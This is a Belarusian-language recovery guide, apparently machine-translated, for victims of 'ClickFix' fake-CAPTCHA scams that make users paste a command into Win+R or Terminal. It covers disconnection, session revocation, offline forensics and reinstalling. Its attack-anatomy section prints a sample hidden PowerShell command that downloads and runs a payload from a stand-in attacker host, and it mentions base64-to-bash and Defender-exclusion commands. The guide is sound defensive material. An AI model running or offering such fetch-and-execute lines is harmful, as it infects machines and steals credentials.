Фальшывая CAPTCHA-махлярства «ClickFix»: чаму пры націсканні Win+R і Ctrl+V запускаецца шкоднасная праграма Info-Stealer¶

Калі вы толькі што націснулі кнопку «Я не робат» або «Пацвердзіце, што вы чалавек» на вэб-сайце (або ўбачылі падроблены турнікет Cloudflare, Google Meet, Zoom або ўсплывальнае акно з памылкай абнаўлення браўзера), якое загадала вам націснуць Windows + R (або адкрыйце тэрмінал macOS), націсніце Ctrl + V (Cmd + V), і націсніце Enter, ваш камп'ютар толькі што запусціў жывую шкоднасную нагрузку - часцей за ўсё Lumma Stealer, Vidar, StealC, RedLine, або Atomic macOS Stealer (AMOS) info-выкрадальнік. Ніякія законныя інструменты CAPTCHA, праверкі Cloudflare або відэаканферэнцый на Зямлі ніколі не будуць прасіць чалавека адкрыць дыялогавае акно запуску Windows (Win + R), тэрмінал Windows, камандны радок або тэрмінал macOS і ўстаўце каманду. Калі вы націснулі фальшывы сцяжок "Праверыць" на гэтай вэб-старонцы, шкоднасны JavaScript (navigator.clipboard.writeText()) бясшумна скапіяваў схаваны PowerShell, mshta.exe, rundll32, або curl | bash каманда ў буфер абмену. На працягу 3-6 секунд пасля націску Enter, гэты скрыпт загрузіў выкананы файл у памяці, які расшыфроўваў і выкрадаў кожны захаваны пароль, аўтазапаўненне крэдытнай карты, сховішча пашырэнняў для браўзера криптовалюты (MetaMask, Phantom, Rabby), токен Discord/Telegram і актыўны сеансавы кукі для ўваходу ў Chrome, Edge, Brave і Firefox, што дазваляе зламыснікам захопліваць ваш Gmail, Microsoft 365, банкаўскія і карпаратыўныя ўліковыя запісы, не патрабуючы пароля або двухфактарнай аўтэнтыфікацыі (2FA). Для глыбокага выпраўлення ўзламаных сеансаў браўзера таксама пракансультуйцеся выкраданне файлаў cookie сесіі, шкоднасная праграма Infostealer і ануляванне ключа доступу; калі вы ўжо бачыце, што сродкі выцясняюцца з кашалька самастойнай апекі, неадкладна перайдзіце да зліў кашалька криптовалюты і кампраметацыя пачатковай фразы; або калі махляр угаварыў вас усталяваць AnyDesk або ScreenConnect, гл махлярства з усплываючымі вокнамі тэхнічнай падтрымкі і выдаленне аддаленага працоўнага стала. Калі гэтае заражэнне адбылося на працоўным месцы бальніцы, у муніцыпальнай сетцы або прадугледжвае неадкладнае вымагальніцтва для бяспекі жыцця, патэлефануйце ў мясцовы нумар экстранай дапамогі (911 у Злучаных Штатах і Канадзе, 112 па ўсім Еўрапейскім Саюзе, 999 у Вялікабрытаніі) або праверце наш каталог нумары экстраных службаў.

Зрабіце гэта зараз¶

1. Адключыце кабель Ethernet або выключыце Wi-Fi на заражаным кампутары на працягу 5 секунд: крадзяжы інфармацыі, такія як Lumma Stealer спакаваць базы дадзеных SQLite вашага браўзера (Login Data, Cookies, Network/Cookies, Web Data) у а .zip архіў у %TEMP% і загрузіць яго ў Command-and-Control (C2), то часта разгортваюць другасны траян аддаленага доступу (RAT), рэзідэнтны проксі SOCKS5 або загрузчык праграм-вымагальнікаў. Разрыў інтэрнэт-злучэння неадкладна спыняе другасную карысную нагрузку і бягучую трансляцыю экрана/націсканняў клавіш.
2. НЕ выкарыстоўвайце заражаны камп'ютар для змены пароляў - вазьміце чысты смартфон (з сотавай перадачай дадзеных) або незаражаны камп'ютар прама зараз: калі пастаянны кейлоггер, згоншчык буфера абмену або HVNC Модуль (Hidden Virtual Network Computing) працуе ў аператыўнай памяці на заражаным ПК, увод новых пароляў на тым жа ПК перадае новыя ўліковыя дадзеныя адразу зламысніку.
3. На вашым чыстым тэлефоне націсніце «Выйсці з усіх прылад / Адмяніць усе актыўныя сеансы» на вашым асноўным адрасе электроннай пошты (Gmail / Microsoft 365 / Yahoo), менеджэр пароляў і працоўны SSO (Okta / Entra ID) ПЕРШЫ:
4. Чаму проста змяніць пароль НЕДАСТАТОЧНА: выкрадальнікі інфармацыі крадуць файлы cookie вашага актыўнага сеанса аўтэнтыфікацыі (SAPISID, SID, ESTSAUTH, .ROBLOSECURITY, li_at). На многіх платформах экспартаваны файл cookie сесіі застаецца сапраўдным на працягу некалькіх дзён ці тыдняў, калі вы відавочна не націснеце Выйсці з усіх сеансаў / Адклікаць токены І не зменіце свой пароль.
5. Google / Gmail: Наведайце myaccount.google.com/device-activity -> выбірайце кожны сеанс працоўнага стала -> націсніце Выйсці, затым змяніце свой пароль Google і праверце Settings -> Forwarding and POP/IMAP для бясшумных правілаў пераадрасацыі.
6. Microsoft / Outlook / Entra ID: Наведайце mysignins.microsoft.com/security-info -> націсніце Выйсці паўсюдна, а потым скіньце пароль.
7. Калі ў вас было якое-небудзь пашырэнне кашалька з криптовалютой (MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Exodus, Electrum) на гэтым кампутары неадкладна эвакуіруйце ўсе сродкі ў новую пачатковую фразу на чыстай прыладзе:
8. Lumma Stealer і AMOS скапіяваць зашыфраванае Local Extension Settings Файлы сховішча IndexedDB/LevelDB з Chrome/Brave/Edge непасрэдна на сервер зламысніка, дзе кластэры графічнага працэсара падбіраюць пароль разблакіроўкі вашага лакальнага пашырэння ў аўтаномным рэжыме (або чытаюць пачатковую фразу непасрэдна з аператыўнай памяці, калі яна разблакіравана). Выкажам здагадку, што кожная пачатковая фраза і прыватны ключ, якія калі-небудзь захоўваліся на гэтым ПК, узламаныя на 100 працэнтаў.
9. Перш чым сціраць ПК, захавайце дакладную каманду, якую вы ўставілі, каб ведаць, што выканана:
10. У Windows адкрыйце нататнік (у аўтаномным рэжыме) і націсніце Ctrl + V каб уставіць тое, што ўсё яшчэ знаходзіцца ў буферы абмену, або націсніце Windows + R і пстрыкніце стрэлку выпадальнага меню, каб прачытаць Апошнія выкарыстаныя (MRU) Гісторыя запуску, якая захоўваецца ў HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Сфатаграфуйце гэтую каманду на тэлефон для рэагавання на інцыдэнт.
11. Выканайце чыстую пераўсталёўку аперацыйнай сістэмы USB (або поўную ачыстку ў аўтаномным рэжыме), а не давярайце хуткай антывіруснай праверцы: сучаснае ClickFix карысныя нагрузкі выкарыстоўваюць законныя бінарныя файлы Windows з подпісам (Living-off-the-Land Binaries або LOLBins падабаецца mshta.exe, powershell.exe, certutil.exe, regsvr32.exe, і AutoIt3.exe), якія ўводзяць у законныя сістэмныя працэсы (explorer.exe, svchost.exe) і часта дадаюць выключэнні ў Windows Defender (Add-MpPreference -ExclusionPath).

Дрэва рашэнняў: неадкладнае ўтрыманне і аднаўленне пасля ClickFix Win+R або Тэрмінальная паста¶

Выконвайце гэтае дрэва рашэнняў, як толькі разумееце, што ўставілі каманду Win + R, тэрмінал Windows або тэрмінал macOS:

flowchart TD
    Start["Устаўлена падробленая каманда CAPTCHA / выпраўленне памылак у Win+R, PowerShell або тэрмінал macOS"] --> Disconnect["КРОК 1 (ад 0 да 10 секунд): неадкладна адключыце Ethernet і Wi-Fi на заражаным кампутары"]

    Disconnect --> CryptoCheck{"Ці былі на гэтым камп'ютары якія-небудзь крыптавыя кашалькі (MetaMask, Phantom, Exodus, Ledger Live, захаваныя ключы)?"}

    CryptoCheck -->|"так"| EvacCrypto["КРОК 2 (ТЭРМІНОВА): на чыстым тэлефоне/апаратным кашальку стварыце АБСАЛЮТНА НОВУЮ пачатковую фразу і неадкладна перанясіце ўсе актывы"]
    CryptoCheck -->|"няма"| CleanDevice["КРОК 2: Пераключыцеся на чысты смартфон (сотавыя дадзеныя) або незаражаную прыладу"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["КРОК 3: Адклікайце сеансы на баку сервера і мяняйце паролі ў строгім парадку прыярытэту"]

    RevokeSessions --> P1["1. Асноўная электронная пошта (Gmail / M365 / Proton): спыніць усе актыўныя сеансы прылады, скінуць пароль, праверыць правілы пераадрасацыі"]
    P1 --> P2["2. Work/Corporate SSO (Okta/Entra ID/VPN/AWS/GitHub/SSH Keys): Неадкладна паведамляйце Corporate SOC, калі былі ўвайшлі ў працоўныя ўліковыя запісы"]
    P2 --> P3["3. Фінансавыя, банкаўскія, PayPal, Stripe, Amazon, Steam, Discord і акаўнты ў сацыяльных сетках"]

    P3 --> InspectPayload["КРОК 4 (Афлайн на заражаным ПК): праверце рэестр RunMRU і ідэнтыфікатар працоўнай падзеі PowerShell 4104, каб вызначыць карысную нагрузку"]

    InspectPayload --> WipeChoice{"Гэта карпаратыўная канчатковая кропка або персанальны кампутар?"}
    WipeChoice -->|"Карпаратыўны / BYOD з працоўным доступам"| CorpIR["Hand Machine Offline для ІТ-бяспекі / SOC для EDR Forensic Triage і BitLocker Re-Image"]
    WipeChoice -->|"Персанальны Windows / Mac"| CleanInstall["Рэзервовае капіраванне толькі звычайных дакументаў (без .exe/.bat/.dmg) -> Boot Clean USB -> Wide Partitions & Pereinstall OS"]

Фаза 1: Анатомія атакі "ClickFix" - Як вэб-старонка захопліваецца Win + R¶

Разуменне таго, што адбылося ўнутры вашай аперацыйнай сістэмы за гэтыя 5 секунд, тлумачыць, чаму некаторыя файлы і ўліковыя запісы знаходзяцца ў непасрэднай небяспецы, а іншыя - не.

1. 3 прынады сацыяльнай інжынерыі, якія выкарыстоўваюцца ў кампаніях ClickFix¶

Зламыснікі распаўсюджваюць накладкі ClickFix праз шкоднасную рэкламу (спонсарскія вынікі пошуку), узламаныя сайты WordPress, пірацкае праграмнае забеспячэнне/парталы струменевай перадачы, падробленыя рэпазітары GitHub і фішынгавыя электронныя лісты: 1. The Fake Cloudflare / Google reCAPTCHA Box ("Пацвердзіце, што вы чалавек"): Вы ставіце сцяжок «Я не робат». Замест зялёнай галачкі з'явіцца ўсплывальнае акно з надпісам: "Выяўлены незвычайны трафік. Каб пераканацца, што вы чалавек, выканайце наступныя 3 крокі: 1. Націсніце Windows + R на клавіятуры. 2. Прэса Ctrl + V. 3. Націсніце Enter." 2. Фальшывы шрыфт Chrome / Edge або памылка абнаўлення («Нешта пайшло не так пры адлюстраванні гэтай вэб-старонкі»): Размыты фон пакрывае вэб-сайт афіцыйным дыялогавым акном Chrome, у якім сцвярджаецца, што адсутнасць каранёвага сертыфіката або абнаўленне шрыфта патрабуе адкрыць Windows PowerShell / Terminal і ўставіць «афіцыйны скрыпт выпраўлення». 3. Памылка мікрафона або камеры Fake Zoom / Google Meet / Microsoft Teams: Адпраўленая праз фальшывыя запрашэнні на сумоўе або спасылкі на сустрэчу з кліентамі, старонка паказвае круціцца відэаэкран і прапануе карыстальнікам macOS і Windows адкрыць Тэрмінал і ўставіць каманду «скінуць драйвер».

2. Чаму каманда выглядала бяскрыўднай у Win + R скрынка¶

The Windows + R (Run) дыялогавае тэкставае поле мае візуальную шырыню толькі 259 сімвалаў (MAX_PATH поле ўводу карыстальніцкага інтэрфейсу) і адлюстроўвае канец устаўленага радка толькі пасля таго, як ваш курсор пераскочыць управа. Зламыснікі выкарыстоўваюць гэта візуальнае абразанне, дапаўняючы сваю шкоднасную каманду прабеламі або заканчваючы яе фальшывым каментарыем:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. Што менавіта Lumma Stealer, StealC, і AMOS выкрасці за 4 секунды¶

Этап 2: Блакаванне ўліковага запісу і адмена сеансу (ад 1 да 30 хвілін - на чыстай прыладзе)¶

Пакуль заражаны ПК застаецца цалкам адключаным ад Інтэрнэту, выкарыстоўвайце чысты смартфон або другі камп'ютар, каб выканаць гэтую дакладную паслядоўнасць стрымлівання.

Крок 1: Заблакіруйце свае ўліковыя запісы электроннай пошты (Gmail, Microsoft 365 / Outlook, Yahoo, Apple iCloud)¶

Для кожнага ўліковага запісу электроннай пошты, які быў увайшоў у любы профіль браўзера (Default, Profile 1, Work) на гэтым кампутары: 1. Завяршыць усе актыўныя сеансы прылады: - Google / Gmail: перайдзіце да myaccount.google.com/device-activity -> выберыце заражаную прыладу Windows/Mac (і любыя незнаёмыя сеансы) -> націсніце Выйсці. Таксама наведайце myaccount.google.com/connections і адклікаць любыя падазроныя староннія праграмы OAuth. - Microsoft (Personal & Work M365): перайдзіце да account.live.com/proofs/Manage (асабісты) або mysignins.microsoft.com/security-info (праца) -> націсніце Выйсці ўсюды. 2. Зменіце пароль электроннай пошты на зусім новы унікальны пароль, які захоўваецца толькі на вашай чыстай прыладзе. 3. Праверце правілы, фільтры і аўтаматычную пераадрасацыю адразу: Аператары крадзяжоў інфармацыі запускаюць аўтаматычныя скрыпты, якія ўваходзяць у скрадзеныя файлы cookie Gmail/Outlook на працягу некалькіх хвілін пасля заражэння і ствараюць схаваны фільтр: Калі паведамленне змяшчае «Бяспека», «Код», «Coinbase», «Binance», «Банк» або «Steam» -> Пазначыць як прачытанае, Пераслаць зламысніку, Перамясціць у сметніцу/RSS-каналы. - У Gmail: Адкрыйце прагляд працоўнага стала -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses І Forwarding and POP/IMAP. Неадкладна выдаліце любы невядомы фільтр або адрас перасылкі. - У Outlook / M365: Адкрыць Settings -> Mail -> Rules І Mail -> Forwarding І Mail -> Junk email (Праверце заблакіраваных адпраўнікоў, каб пераканацца, што зламыснік не заблакіраваў no-reply@accounts.google.com або ваш банк).

Крок 2. Заблакіруйце менеджэры пароляў (Bitwarden, 1Password, Dashlane, KeePass, iCloud Keychain)¶

• Ці захоўвалі вы свае паролі ва ўбудаваным дыспетчары пароляў Chrome / Edge / Brave? Кожны асобны пароль, захаваны ў Chrome, Edge, Brave, Opera або Firefox (калі ў Firefox не быў усталяваны карыстальніцкі асноўны пароль), выкрадальнік інфармацыі экспартаваў у адкрытым тэксце. Вы павінны разглядаць 100 працэнтаў пароляў, якія захоўваюцца ва ўбудаваным дыспетчары пароляў браўзера, як узламаныя і змяняць іх, пачынаючы з фінансавых уліковых запісаў, электроннай пошты і працоўных уліковых запісаў.
• Ці выкарыстоўвалі вы спецыяльны менеджэр пароляў (1Password, Bitwarden, Proton Pass, Keeper)?
• Калі сховішча было заблакіравана у момант выканання каманды, ваша зашыфраванае сховішча застаецца абароненым вашым галоўным паролем / сакрэтным ключом.
• Калі пашырэнне сховішча было адмыкнута ў памяці (або калі вы ўвялі галоўны пароль пасля выканання каманды), увайдзіце ў вэб-сховішча дыспетчара пароляў са свайго чыстага тэлефона, націсніце Адмяніць аўтарызацыю ўсіх сеансаў (Bitwarden: Settings -> My Account -> Deauthorize Sessions), памяняйце свой галоўны пароль і расстаўце прыярытэты для змены важных уліковых дадзеных у сховішчы.

Крок 3: Адклікайце токены распрацоўшчыка, карпаратыўныя і токены чата (GitHub, AWS, Discord, Telegram, Steam)¶

• Discord: змяненне пароля Discord аўтаматычна робіць несапраўдным ваш стары маркер аўтэнтыфікацыі (leveldb маркер). Неадкладна змяніце пароль Discord са свайго тэлефона, праверце Settings -> Devices -> Выйдзіце з усіх вядомых прылад і праверце Settings -> Authorized Apps і Settings -> Billing (выдаліць захаваныя крэдытныя карты/PayPal).
• Telegram: На тэлефоне адкрыйце Telegram -> Settings -> Devices -> неадкладна націсніце Завяршыць усе іншыя сеансы (гэта знішчае ўсе скрадзеныя tdata клон тэчкі працоўнага стала).
• Steam: адкрыйце на тэлефоне праграму Steam -> Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, змяніце пароль і пераканайцеся, што ключ API не зарэгістраваны на steamcommunity.com/dev/apikey (ашуканцы рэгіструюць падроблены ключ Steam Web API, каб захапіць гандлёвыя прапановы).
• GitHub / GitLab / AWS / SSH: калі вы праграміст або сістэмны адміністратар, наведайце github.com/settings/sessions (адклікаць сеансы браўзера), github.com/settings/keys (выдаліць ключы SSH, якія захоўваюцца на гэтым ПК), github.com/settings/tokens (адклікаць асабістыя токены доступу) і павярнуць любыя -/.aws/credentials Ключы IAM у кансолі AWS IAM неадкладна. Глядзіце наш спецыяльны гід на кампраметацыя ланцужка паставак npm/PyPI і ратацыя ключоў працоўнай станцыі распрацоўшчыка.

Этап 3: Судова-медыцынская экспертыза ў аўтаномным рэжыме - высвятленне таго, што менавіта працавала на вашым ПК¶

Перш чым сцерці і пераўсталяваць заражаны камп'ютар (або падчас падрыхтоўкі справаздачы для вашай групы карпаратыўнай бяспекі), вы можаце смела праверыць, што ClickFix каманда выканала пры гэтым машына была на 100% па-за сеткай (Wi-Fi выключаны, Ethernet адключаны).

1. Агляд вокнаў Win + R Гісторыя і журналы PowerShell¶

1. Праверце запуск Windows (Win + R) Рэестр MRU (Most Recently Used) спіс: Адкрыты regedit.exe або аўтаномнае акно PowerShell і запусціце:

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   Усе каманды, калі-небудзь уведзеныя або ўстаўленыя ў Win + R захоўваецца тут ва ўласцівасцях a, b, cі г. д. Паглядзіце на каманду, запісаную на літары, паказанай першай у MRUList.
2. Праверце журнал падзей запісу блокаў сцэнарыя PowerShell (ідэнтыфікатар падзеі 4104): Нават калі зламыснік выкарыстаў -WindowStyle Hidden (-w h) і кадоўка Base64 (-EncodedCommand / -e), Windows аўтаматычна дэкадуе і рэгіструе падазроныя скрыпты PowerShell у Праглядзе падзей:
3. Прэса Win + X -> Прагляд падзей -> перайдзіце да Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
4. Фільтр для ідэнтыфікатара падзеі 4104 (Execute a Remote Command). Вы ўбачыце дакладны дэабфускаваны скрыпт PowerShell, URL, з якога ён спампаваны, і папку ў %TEMP%, %AppData%, або %LocalAppData% дзе ён скінуў сваю другасную карысную нагрузку.
5. Праверце, дзе ў Windows усталяваны persistence: Выкрадальнікі інфармацыі і іх скрыпты загрузкі (NetSupport Manager RAT, Amadey, SectopRAT, AsyncRAT) усталяваць захаванасць пры перазагрузцы ў чатырох месцах:

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

   (Калі вы бачыце C:\, C:\Users, %AppData%, або .exe дададзена пад ExclusionPath або ExclusionProcess, шкоднасная праграма відавочна асляпіла Microsoft Defender на вашай машыне.)

2. Агляд macOS пасля ClickFix тэрмінала (Atomic macOS Stealer / AMOS або Poseidon)¶

У macOS старонкі ClickFix загадваюць карыстальніку адкрыць Тэрмінал (Cmd + Space -> Terminal) і ўстаўце каманду ў кадзіроўцы base64, напрыклад echo "..." | base64 -d | bash. 1. У аўтаномным рэжыме праверце сваю гісторыю абалонкі (cat -/.zsh_history | tail -n 30 або cat -/.bash_history). 2. Праверце, ці ўсталявала шкоднасная праграма пастаянны фонавы LaunchAgent:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

Этап 4: Чыстае выпраўленне - Чаму варта сцерці і пераўсталяваць (або запусціць аўтаномнае выратаванне)¶

Ахоўныя органы (CISA, FBI, NCSC) настойліва раім ачысціць і пераўсталяваць аперацыйную сістэму з чыстага USB-назапашвальніка пасля крадзяжу інфармацыі або LOLBin выкананне, таму што загрузчыкі часта ўводзяць шеллкод у законныя бінарныя файлы сістэмы, усталёўваюць руткіты/проксі-драйверы або пакідаюць бяздзейныя бэкдоры (NetSupport RAT / Cobalt Strike).

Пакрокавая чыстая пераўсталёўка і бяспечнае рэзервовае капіраванне файлаў¶

1. Пакуль заражаны ПК па-за сеткай, стварайце рэзервовыя копіі ТОЛЬКІ чыстых файлаў дадзеных: Скапіруйце толькі асабістыя дакументы, фатаграфіі, электронныя табліцы і зыходны код (.pdf, .jpg, .docx, .xlsx, .mp4, .txt) на знешні USB-дыск. Ніколі не стварайце рэзервовыя копіі .exe, .msi, .bat, .ps1, .vbs, .js, .lnk, .dmg, .pkg, або браўзер User Data тэчкі профілю.
2. На ДРУГІМ чыстым камп'ютэры стварыце загрузачны USB-дыск Windows 11 Media Creation (microsoft.com/software-download/windows11) або асяроддзе аднаўлення macOS.
3. Загрузіцеся з чыстай праграмы ўсталёўкі USB, выдаліце ўсе існуючыя раздзелы на загрузачным цвёрдацельным назапашвальніку (каб сістэмны раздзел EFI, MSR і асноўны раздзел АС былі нядаўна створаны) і ўсталюйце чыстую копію аперацыйнай сістэмы.
4. Калі вы абсалютна не можаце працерці машыну адразу:
5. Выдаліць усе выключэнні Defender (Remove-MpPreference -ExclusionPath ...).
6. Загрузіцеся ў Бяспечны рэжым Windows з адключанай сеткай (або загрузіцеся з Касперскага Rescue Disk / ESET SysRescue Live USB) і запусціце поўнае аўтаномнае сканаванне з дапамогай Microsoft Defender Offline (Start-MpWDOScan), Malwarebytes і ESET Online Scanner, а таксама правярайце кожны запіс у Sysinternals Autoruns (autoruns64.exe) з адключаным сцяжком Hide Microsoft Entries.

Этап 5: Умацаванне Windows і macOS, каб ClickFix ніколі не паўтарыўся¶

• Схаваць або адключыць Windows + R (Run) дыялогавае акно для нетэхнічных членаў сям'і або стандартных карпаратыўных карыстальнікаў праз групавую палітыку / рэестр: Абстаноўка NoRun = 1 (DWORD) пад HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer цалкам адключае Windows + R спалучэнне клавіш. Таму што 95 працэнтаў нападаў ClickFix залежаць ад націскання карыстальнікам Win + R, адключэнне дыялогавага акна "Выканаць" спыняе халодную атаку, перш чым карыстальнік зможа ўставіць што-небудзь.
• Змяніць асацыяцыю файла па змаўчанні для .hta, .vbs, .js, і .wsf скрыпты да notepad.exe: адключэнне mshta.exe і wscript.exe праз Windows Attack Surface Reduction (ASR) правілы або асацыявальныя .hta/.vbs/.js з нататнікам прадухіляе выкананне сцэнарыя.
• Абнавіце важныя ўліковыя запісы да апаратных ключоў доступу (FIDO2 / WebAuthn Ключы бяспекі, такія як YubiKey): У той час як выкрадальнікі інфармацыі могуць выкрасці сеансавыя файлы cookie з браўзера пасля ўваходу ў сістэму, апаратныя ключы бяспекі (FIDO2) з кароткай працягласцю сеанса і бесперапыннай ацэнкай доступу (CAE / Уліковыя даныя сеансу, прывязаныя да прылады DBSC) прадухіліць зламыснікаў ад паўторнай аўтэнтыфікацыі або экспарту асноўных уліковых дадзеных.
• Усталюйце ў браўзеры блакіроўшчык рэкламы і шкоднаснай рэкламы (uBlock Origin / uBlock Origin Lite) і ўключыць Палепшаны бяспечны прагляд: Больш за 60 працэнтаў інфекцый ClickFix адбываюцца з-за шкоднасных пошукавых аб'яў Google/Bing, якія імітуюць законнае праграмнае забеспячэнне (Slack, Notion, OBS, Homebrew, WinSCP, TradingView) або сайты струменевай перадачы.

Рэгіянальныя нумары экстраных службаў і пратаколы агенцтваў¶

Калі ClickFix / Lumma Stealer інфекцыя скампраметавала карпаратыўныя ўліковыя даныя, сістэмы аховы здароўя, фінансавыя рахункі або дзяржаўныя сеткі, неадкладна паведаміце пра інцыдэнт праз афіцыйныя каналы:

• Злучаныя Штаты і Канада:
• Аварыйная служба бяспекі жыцця / крытычная інфраструктура: набярыце 911 калі інфекцыя парушае клінічныя сістэмы бальніцы або працу грамадскай бяспекі.
• Цэнтр разгляду скаргаў на інтэрнэт-злачынствы ФБР (IC3) (ЗША): падайце неадкладную справаздачу на ic3.gov (асабліва, калі крыптавалюта, банкаўскія пераводы або ўзлом карпаратыўнай дзелавой электроннай пошты былі вынікам скрадзеных сеансавых файлаў cookie).
• Агенцтва па кібербяспецы і бяспецы інфраструктуры (CISA) (ЗША): Прадпрыемствы і арганізацыі крытычна важнай інфраструктуры павінны паведамляць аб парушэннях інфармацыйных крадзяжоў 1-844-Say-CISA (1-844-729-2472) ці cisa.gov/report.
• Канадскі цэнтр па барацьбе з махлярствам (CAFC) & Cyber Center: Тэлефануйце 1-888-495-8501 або паведаміць на cyber.gc.ca.
• Вялікабрытанія:
• Аварыйныя службы: набярыце 999 (або 101 для неаварыйнай міліцыі).
• Action Fraud & NCSC: паведамляйце аб кіберзлачынствах і скрадзеных сродках у Action Fraud (0300 123 2040 / actionfraud.police.uk). Калі даныя або ўліковыя дадзеныя карпаратыўнага кліента былі выкрадзены, ацаніце абавязковае 72-гадзіннае паведамленне GDPR Вялікабрытаніі для ICO (0303 123 1113).
• Еўрапейскі саюз:
• Аварыйныя службы: набярыце 112 ва ўсіх краінах ЕС.
• Артыкул 33 GDPR і справаздачнасць CSIRT NIS2: Таму што Lumma Stealer эксфільтруе ўвесь браўзер Login Data, Cookiesі кэшаў аўтазапаўнення, любы заражаны карпаратыўны ноўтбук, які захоўваў асабістыя даныя супрацоўнікаў або кліентаў, з'яўляецца пацверджаным парушэннем канфідэнцыяльнасці даных, якое патрабуе ацэнкі для 72-гадзіннага паведамлення ў ваш нацыянальны орган па ахове даных (DPA).
• Аўстралія і Новая Зеландыя:
• Аварыйныя службы: набярыце 000 у Аўстраліі або 111 у Новай Зеландыі.
• Аўстралійскі цэнтр кібербяспекі (ACSC / ReportCyber): Тэлефануйце 1300 CYBER1 (1300 292 371) або файл па адрасе cyber.gov.au (і звяжыцеся з IDCARE па адрасе 1800 595 160 для аднаўлення асобы). У Новай Зеландыі паведамляйце ў CERT NZ (0800 237 869).
• Індыя і Азіяцка-Ціхаакіянскі рэгіён:
• Нацыянальная лінія дапамогі па барацьбе з кіберзлачыннасцю Індыі і CERT-In: Тэлефануйце 1930 неадкладна, калі адбылося фінансавае махлярства, падайце па адрасе cybercrime.gov.in, і паведамляць аб арганізацыйных парушэннях у CERT-In (incident@cert-in.org.in) на працягу 6 гадзін.

Часта задаюць пытанні¶

Я адчыніў Win + R і націснулі Ctrl + V, так што тэкст з'явіўся ў полі, але я зразумеў, што ён выглядае сумнаватым, і націснуў "Адмяніць", БЕЗ націскання Enter. Я заражаны?¶

Не, вы ў поўнай бяспецы. Вэб-старонка браўзера можа капіяваць тэкст у буфер абмену з дапамогай JavaScript (navigator.clipboard.writeText), і націск Win + R з наступным Ctrl + V проста ўстаўляе гэты тэкставы радок у поле ўводу Windows Run. Нічога не выконваецца, пакуль вы не націснеце Увайдзіце або націсніце добра. Калі вы націснулі Адмяніць або зачыніў Бегчы скрынка без націску Увайдзіце, ні адна каманда не была запушчана. Проста ачысціце буфер абмену, скапіраваўшы бяскрыўднае слова, напрыклад прывітанне у нататніку і зачыніце ўкладку шкоднаснага браўзера.

Чаму Windows Defender або мой антывірус не заблакіравалі каманду, калі я яе ўставіў Win + R?¶

Таму што вы - чалавек, які ўвайшоў у сістэму - фізічна ціснулі Win + R і ўдарыў Увайдзіце, Windows разглядае каманду як наўмыснае адміністрацыйнае дзеянне, запушчанае з explorer.exe а не ненадзейны файл, спампаваны з Інтэрнэту (які звычайна мае Марк Інтэрнэту Зона.Ідэнтыфікатар тэг). Акрамя таго, ланцужкі ClickFix выкарыстоўваюць убудаваныя двайковыя файлы з подпісам Microsoft (mshta.exe, powershell.exe, conhost.exe, або падпісаныя староннія перакладчыкі, як AutoIt3.exe) для зборкі і расшыфроўкі карыснай нагрузкі непасрэдна ў аператыўнай памяці, часта выконваючы Add-MpPreference -ExclusionPath "C:\" у першую мілісекунду, перш чым запісаць любы пазнавальны файл шкоднаснага ПЗ на дыск.

Выкрадальнік інфармацыі крадзе файлы з усіх уліковых запісаў карыстальнікаў на маім ПК ці толькі з майго профілю (Default супраць Profile 1, Profile 2)?¶

Сканіраванне крадзяжоў інфармацыі кожную тэчку профілю браўзера у вашым уліковым запісе карыстальніка Windows (%LocalAppData%\Google\Chrome\User Data\Default, Профіль 1, Профіль 2і г.д., у Chrome, Edge, Brave, Opera і Firefox), нават калі гэтыя другасныя профілі браўзера не мелі адкрытага акна ў той час. Гэта азначае, што калі вы захоўваеце асобныя профілі Chrome "Працоўны" і "Асабісты" профілі Chrome пад адным уваходам у Windows, у абодвух профілях адначасова былі выкрадзены захаваныя паролі і сеансавыя файлы cookie.

Што рабіць, калі б я выкарыстоўваў ключ доступу ў сваім уліковым запісе Google або Microsoft - выкрадальнік інфармацыі скраў мой пароль?¶

Гэта залежыць ад таго, дзе захоўваўся ключ доступу, і, што больш важна, ён вызначана скраў файл cookie актыўнага сеансу, створаны пасля таго, як вы ўвайшлі ў сістэму з гэтым ключом доступу. Па-першае, калі вы ўжо ўвайшлі ў Google/Microsoft у Chrome/Edge на гэтым ПК, зламысніку не патрэбны ваш ключ доступу, таму што яны скралі ваш сеанс cookie з праверкай аўтэнтыфікацыі - таму вам усё роўна трэба націснуць Выйсці з усіх сеансаў на чыстай прыладзе. Па-другое, калі ваш пароль быў захаваны ў Windows Hello (TPM 2.0 апаратны чып) або на фізічным YubiKey або iPhone, прыватны ключ у апаратным чыпе не можа быць экспартаваны шкоднасным ПЗ. Аднак, калі вы захавалі сінхранізаваныя ключы доступу ў разблакіраваным сховішчы старонніх пашырэнняў браўзера на гэтым ПК, неадкладна анулюйце гэтыя ключы ў наладах бяспекі ўліковага запісу.

Як працуе "прывязанае да праграмы шыфраванне" Google Chrome (v20 файлы cookie) закрануты, і робіць Lumma Stealer абысці яго?¶

